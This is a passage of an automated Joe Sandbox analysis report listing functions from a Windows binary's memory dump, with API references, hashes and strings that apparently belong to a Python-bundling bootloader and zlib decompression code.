                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                              • Instruction ID: ca6e3ac392cca43c81ad26af7fd70ae6e91e97b7dba70394b086d99edaaa4fb8
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3D113E32A1C682C2EA619F51B41017EE2B4AF85BC0F454231EB4D9FA96DF7FD4508F50
                                                                                                                                                                                                                                              Function 00007FF666DF63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                              • Instruction ID: 0db10f5dc269a30cbcd887a5a18ccbd81be5eb5c3bda12b557aa55a101d4ce60
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4621307261868286D7619F19E45037D76B0AB85B54F584334E69D8EAD9DF3ED4008F00
                                                                                                                                                                                                                                              Function 00007FF666DE042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                              • Instruction ID: 2a7960a813f0a6020f0fd09cac3f8d633c62f93649b5e47e89b5905d036a49e5
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BC01A521A08782C1EA04DF526901069E6B1AF99FE0F4C4732EE5C9FBD6DE3ED1218B40
                                                                                                                                                                                                                                              Function 00007FF666DE7F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
                                                                                                                                                                                                                                              • Instruction ID: a05049cf0cfa4af4a9aea89ce566bc125b1f92c3eadcdef7c374831e7f4e1842
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 92015720E0D2C3D4FAA06B65B901179E2B0AF547A4F544735EA1CCE6C7DF2FB481CA11
                                                                                                                                                                                                                                              Function 00007FF666DE82A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                              • Instruction ID: 661a0b73f2460a7a44a9b6599a4df17b1741effef050edc1956806445c1d43d3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 09E012A0E19687D7F7643AB4698617991305FA5740F458730E908EE2C3DE2FB8495F31
                                                                                                                                                                                                                                              Function 00007FF666DEEC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • HeapAlloc.KERNEL32(?,?,00000000,00007FF666DEB39A,?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA), ref: 00007FF666DEEC5D
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AllocHeap
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 4292702814-0
                                                                                                                                                                                                                                              • Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
                                                                                                                                                                                                                                              • Instruction ID: 15b48fe8f295c982de290ad6af3a1da415dcc30766c55996a7ed86a4f5e21820
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DEF01D54B0A6C7C1FE555B62B8512B59AB15F89F80F4C5730D90ECE3D2DE2EE4818A20
                                                                                                                                                                                                                                              Function 00007FF666DED66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • HeapAlloc.KERNEL32(?,?,?,00007FF666DE0D00,?,?,?,00007FF666DE236A,?,?,?,?,?,00007FF666DE3B59), ref: 00007FF666DED6AA
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AllocHeap
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 4292702814-0
                                                                                                                                                                                                                                              • Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                              • Instruction ID: 5342f01ee196edad322f7948b060a1544372fe1dcfc237a6954b270ff4244d32
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A4F0FE10F0938AC5FE5467617851679A2B05FD4BA4F094734DD2ECD3D5DE6EA4408DA0

                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                              Function 00007FF666DD5820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5830
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5842
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5879
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD588B
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD58A4
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD58B6
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD58CF
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD58E1
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD58FD
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD590F
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD592B
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD593D
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5959
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD596B
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5987
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD5999
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD59B5
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD64BF,?,00007FF666DD336E), ref: 00007FF666DD59C7
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                              • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                                                                                                                                                                                                              • API String ID: 199729137-653951865
                                                                                                                                                                                                                                              • Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                              • Instruction ID: 8caa347a3eb9efd84dc8dec3c17caf97ba4a9d5b87f705895c2b5ede2cd8b37c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AE22DF34A0DB47D1FA14ABA6B9105B423B1EF99785F441235D82E8E3A0FF7EB1589F00
                                                                                                                                                                                                                                              Function 00007FF666DF411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                                                                                                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                              • API String ID: 808467561-2761157908
                                                                                                                                                                                                                                              • Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
                                                                                                                                                                                                                                              • Instruction ID: fff54cef59b6fa16d44a8b0949ef99b744b25ce2620813efa29741cfc84562e9
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B5B2C372E18292CBE7648E64E6407FD77B1FB94388F545235DA0D9FA85DF3AA9008F40
                                                                                                                                                                                                                                              Function 00007FF666DDAD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
                                                                                                                                                                                                                                              • API String ID: 0-2665694366
                                                                                                                                                                                                                                              • Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
                                                                                                                                                                                                                                              • Instruction ID: 7411fa6587c3e508ac58842f0b21ea3f45263f2bd1e7b3ac4df98a95fa555195
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6F52C372A146A68BD7A49E24E458B7D3BB9EB44344F058239E64A8F7C0DF3ED844CF40
                                                                                                                                                                                                                                              Function 00007FF666DDD19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3140674995-0
                                                                                                                                                                                                                                              • Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                              • Instruction ID: d332dff316d3b3dc048337f2546d83cbc096e8683863eb8cd0376dd99773bf7d
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D4311C72609A81C6EB609F60E8803EE7374FB84748F44453ADA4D8FB95EF39D648CB10
                                                                                                                                                                                                                                              Function 00007FF666DEA684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                                                                                              • String ID:
